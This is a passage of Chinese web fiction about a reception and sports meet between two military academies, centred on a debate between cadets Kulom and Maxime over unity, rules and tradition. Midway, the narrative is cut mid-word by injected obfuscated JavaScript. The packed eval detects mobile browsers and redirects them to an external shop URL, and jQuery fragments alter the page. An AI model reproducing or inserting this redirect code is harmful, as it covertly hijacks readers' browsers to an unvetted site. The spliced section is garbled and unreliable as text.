晚七点三十分，主楼二层接待厅的灯次第亮起。这个厅平时用作军官招待会和教员茶叙，规模不大，能摆开十二张圆桌，桌上铺着深绿色桌布，摆成环形。一侧的长台上摆着自助餐和饮品——几大玻璃壶，盛着本地果汁、蜂蜜水和冰镇苏打水，杯壁上凝着一层细密的水珠。赫利俄斯的条例里写得很清楚：校内活动不提供含酒精饮品。为一次来访破例，不在考虑范围内。纽伦科夫在会前只交代了一句"按平时的规矩来"，这句话被原样执行了。
另一侧落地窗正对着余烬广场的方向，再远一点，太空电梯的轨道灯在夜色里连成一条笔直的银线。两校学员混坐着，赫利俄斯的黑红军礼服和圣西尔的深蓝军礼服在烛光里各占半边，中间隔着一道礼貌的距离，像两条颜色不同的河在同一个湖里缓缓交汇。
致辞很短。圣西尔带队的那位上校讲了三分钟，大意是感谢接待、期待交流、希望两校都能从对方身上学到东西。纽伦科夫代表校方回了几句同样克制的话，只说了"两所学校都在回答同一个问题：什么样的军人配得上和平。"这句话在圣西尔那桌引起了几秒微妙的安静，然后被一阵礼节性的掌声盖了过去。交换纪念品时，库洛姆把一枚赫利俄斯的校徽放进那名带队上校手里，对方接过，端详了一瞬，别在了礼服胸前。
自由交流从七点五十开始。圣西尔的学员三三两两散开，有人端着果汁走向战术推演区那几块摆出来的全息沙盘，有人被奥维莉娅的讲解吸引过去——她正带着几个圣西尔学员看食堂照片，讲得眉飞色舞，有一个圣西尔学员走到饮品台前，转了一圈，问了一句："你们晚会上不提供酒？"
负责饮品台的值日学员摇了摇头，答得很平："校规。校内活动禁酒，对谁都一样。"
"客人也不破例？"
"条例在任何时候都是条例。战场上是，现在更是。今天破例明天就有人拿'圣西尔来的时候都喝了'当借口。"那学员说，"规矩不能因为谁来就变。同样是军校，能理解吧？"
那个圣西尔学员挑了一下眉，用法语向自己身旁的同学说了句什么，大概意思是纪律严明之类的。自己倒了一杯苏打水，走回同伴中间。这段对话声音不大，混在嘈杂里几乎没人注意。
马克西姆没有往人群里走。他端着一杯气泡水，站在自助餐台附近，目光在厅里扫了一圈，最后落在库洛姆身上。库洛姆正在和圣西尔的带队教官交谈，察觉到那道目光，没有回避，结束交谈后端着杯子走了过去。
"莱恩。"马克西姆举杯，语气和预科时代一样熟稔，"今天的参观很充实。谢谢你安排得这么周到。"
"应该的。"库洛姆和他碰了一下杯，"远来是客。"
"不过我有一点好奇。"马克西姆的目光越过杯沿，落在窗外的太空电梯上，"你在这所学校，过得好吗？"
"很好。"
"你看起来……"马克西姆斟酌了一下措辞，"比在巴黎的时候松弛。我几乎要以为你找到了归属。"
库洛姆听懂了。他没有接这个钩子，只是说："归属这个词太大了。我只是找到了一件想做的事。"
"在一所新学校内建设它？"
"把它建好。"库洛姆说，"让它在二十年、三十年后还能运转。这件事够我做很久。"
马克西姆笑了一下。那个笑容很标准，标准到看不出任何情绪。"我今天看了你的同学。他们确实优秀——射击、体能、战术素养，都出乎我的意料。我承认，我来之前没料到会是这样。库洛姆，我得说，这所学校让你付出的一切离开巴黎，放弃你父亲那代人在旧体系里攒下的所有关系——看起来是值得的。"
"我父亲那代人没有放弃任何东西。"库洛姆说，"他们只是换了一条路走。"
"当然，当然。但我也注意到一件事。"马克西姆的语气没有变化，"他们说的都是同一种语言。唱的是同一支歌。穿的是同一身衣服。宣誓效忠的是同一个方向。"他顿了一下，"你们把全世界的孩子聚到一起，告诉他们'从此以后你们是同胞'——你觉不觉得这件事有点眼熟？"
库洛姆看着他。"你想说什么？"
"巴黎曾经也想做类似的事。"马克西姆说，声音不高，但每个字都像被磨过，"让整个欧洲说同一种语言，用同一种法律，信仰同一个理性。只是手段不同。他们用枪炮，你们用课表，但野心是同一种：把不同的人变成一样的人，以为这样就能消灭战争。"他抿了一口气泡水，"结局你也知道。"
两个人隔着半步的距离，各自端着一杯气泡水，站在落地窗前。这个位置避开了大厅中央的人群，正好在一排冷餐台尽头的阴影边缘。他们都没有刻意压低声音，但说话的内容恰好只有附近几步之内的人能听清。
而在两步之外，冷餐台拐角处，克拉伦斯正站在那排冷餐台后面，端着一个盘子，盘子里是两块可丽饼和一小堆烤蔬菜。他本来只是来拿吃的。他在这类场合的生存策略一向明确：拿够食物，站到角落，安静地吃完，然后在人群开始找他的时候消失。他端着盘子往落地窗方向走了两步，那是他能找到的离冷餐台最近又不太引人注意的位置。然后他发现，自己站的位置恰好和库洛姆与马克西姆只隔了一道矮几的转角。
他顿了一下。他没有移动。这个时候移动反而显得刻意。于是他低头，把叉子伸向盘子里的一块可丽饼，安静地站在那里，像一个正在专心用餐、什么也没听见的普通学员。
马克西姆没有注意到他。或者说，他注意到了，但判断这个安静用餐的北欧人无足轻重——一个站在冷餐台旁边吃东西的普通学员，连制服领口都松着一粒扣子。他的注意力全在库洛姆身上。
库洛姆沉默了一瞬，大厅里的谈笑声在两人周围形成一道嘈杂的屏障。他开口，声音平稳："区别在于，他们教的是一套已经写好的答案。赫利俄斯教的是质疑答案。圣西尔教的是服从一种已经存在了三百年、不需要被验证的秩序。我们这里，学生入学第一天就开始被告知：规则是人写的，所以有用则用无用则废。以防你不了解，去年冬，按时作息的旧有条例在经过公开讨论后便已经被废除，赫利俄斯的学生拥有提名修改校规的权力。"
"学生拥有提名修改校规的权力。"马克西姆品味着这句话，"听起来很先进。也听起来像每一个短命王朝的开国宣言——'旧规矩都是错的，我们要写新的'。你们凭什么确定自己写的比旧的好？"
"我们不确定，也没人能确定。"库洛姆说，"旧秩序的毛病在于它把'从来如此'当成'理应如此'。赫利俄斯没有传统可以靠，每一条规则都得自己证明自己有用。就像那条禁酒令——它今晚就没能让你喝上一杯，但它让每一个赫利俄斯的学生知道，条例对谁都一样，包括来客。这比'因为祖辈这么做'更可靠。"
马克西姆端着杯子，看了他一会儿。那道审视的目光又出现了，带着一种贵族式的、近乎真诚的困惑："莱恩，你相信统一？你相信一百多个民族、几百种语言、几十个曾经互相轰炸了三十七年的国家，能真的合成一个共同体？澳洲，南美，中东，南非，捉襟见肘。"
"旧帝国用武力维持统一，世界联合用谈判维持统一。谈判慢，难看，经常失效，在必要时需要用钢铁和鲜血捍卫，但它不会把半个地球炸成废墟来证明自己是对的。三百年里，圣西尔培养的军官保卫法兰西的荣耀和殖民地的边界。赫利俄斯培养的人将来要做的，是让任何一个地方都不需要被'保卫'到那个程度。"
这句话落下后，两人之间安静了几秒。马克西姆低头看着杯里透明的气泡水，缓缓转了一圈。
"那我换一个问法。"他说，"你相信你自己正在做的事。你相信这座建在赤道上、没有历史、没有祖先、没有'从来如此'的学校，你相信它不会变成你讨厌的那种东西？二十年后，三十年后，当它有了自己的传统，当它开始被写进历史，当'赫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17961937|213613||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
利俄斯'这个名字开始被人敬畏时，你拿什么保证它不会变成又一个需要被推翻的旧秩序？"
冷餐台拐角处，克拉伦斯的叉子停在盘子上空。他没有抬头，但他不再咀嚼了。他听得很清楚。
这次轮到库洛姆沉默了。他开口时声音比刚才低了一点："我们没有保证。所以我才要它不一样。我给这座学校留下的唯一东西是一套能推翻自己的规则。如果有一天它真的变成了需要被推翻的东西——"他停了一下，"那最好推翻它的，是它自己教出来的人。"
马克西姆端详着他，目光里那层审视的东西慢慢退下去，露出一种更复杂的神色。他举起杯子，朝库洛姆微微致意了一下，语气里那层熟络的客气第一次真正退开，露出底下的东西："这句话很有意思，莱恩。我会记住它。'那最好推翻它的，是它自己教出来的人'它听起来很勇敢。也听起来像每一个短命王朝的君主，在登基那天对史官说的话。"
他把杯里的气泡水喝完，放下杯子。转身前，他补了一句："十年后，如果这所学校还在——而且没有变成你讨厌的东西，我会回来，亲口承认我错了。德·朗贝尔家的人说话算话。"
库洛姆举了举杯："那你要活久一点。你们家最擅长这个。"
马克西姆的脚步顿了一下。没有回头，但肩膀有一个极轻微的、像是笑了一下的起伏。他走回圣西尔的学员中间，很快被一个同僚拉进了一场关于明天运动会的讨论。
库洛姆站在原地，把杯里剩下的苏打水喝完。
克拉伦斯的位置没有变，他今晚的存在感低到几乎可以被忽略。但库洛姆和马克西姆的对话飘过来的时候，他听到了全部。他把叉子上那块已经凉了的可丽饼放进嘴里，嚼完，咽下去。他把盘子放回台面上，动作很轻。
他当然认得马克西姆话里的东西。在他父亲的旧书架上，在他自己的笔记里。他也认得库洛姆回答里的东西。那是一种他没有的东西：一种愿意相信答案存在的意志。库洛姆说"我们没有保证，所以才要它不一样"，这句话在他的脑子里转了一圈，停在了一个他熟悉的位置上。
没有答案也可以向前走——只要每一步都能被推翻，就不怕走错。
东方宁晏坐在斜对面那桌，正在和圣西尔的一位学员聊法国的茶文化。她的余光始终留着一个方向。她知道克拉伦斯听完了全程，很认真的那种。她读过他所有文章，大概也能猜到两位公子哥谈话的内容。她端起茶杯抿了一口，把话题从茶引到圣西尔的课程设置上，像是什么都没注意到。
晚九点，交流晚会散场。圣西尔的学员被引回客房区，赫利俄斯的人三三两两往回走。奥维莉娅走在最前面，意犹未尽地跟阿德莱德复盘今晚哪道菜最受欢迎。库洛姆落在最后，走到接待厅门口时停了一下，回头看了一眼那排落地窗。窗外，太空电梯的轨道灯安静地亮着，像一条通往天空的虚线。
运动会开幕是在第二天上午九点。
开幕式简短得近乎敷衍，两校学员在操场上列队，纽伦科夫和圣西尔的上校各自讲了两分钟，交换了一面纪念旗。入场式和文艺表演被压缩到明显是应付媒体的程度，军校的运动会从来不是用来"展示风貌"的，是用来分出高下的。
前两天的项目进行得很快。四百米运动速射，赫利俄斯和圣西尔各拿下三个席位的前三，薇拉以两环之差输给圣西尔的一个女射手，屈居第二。阿德莱德在静态射击上拿了满分，毫无悬念地压过全场。四百米障碍，赫利俄斯凭着主场熟悉的场地配置略占上风，但圣西尔的学员在攀爬类障碍上明显训练更足，双方各拿两场。负重行军成了约里和那个圣西尔大个子之间的单挑，两人从开始就甩开其他人，最后并肩冲线。战术推演，西尔维娅和秋山光分别带队，各赢了一场。
前两天的单项对抗结束得比预想快。四百米速射、障碍、负重行军、电子对抗攻防、战术推演，双方互有胜负，比分咬得像两条不肯分开的线。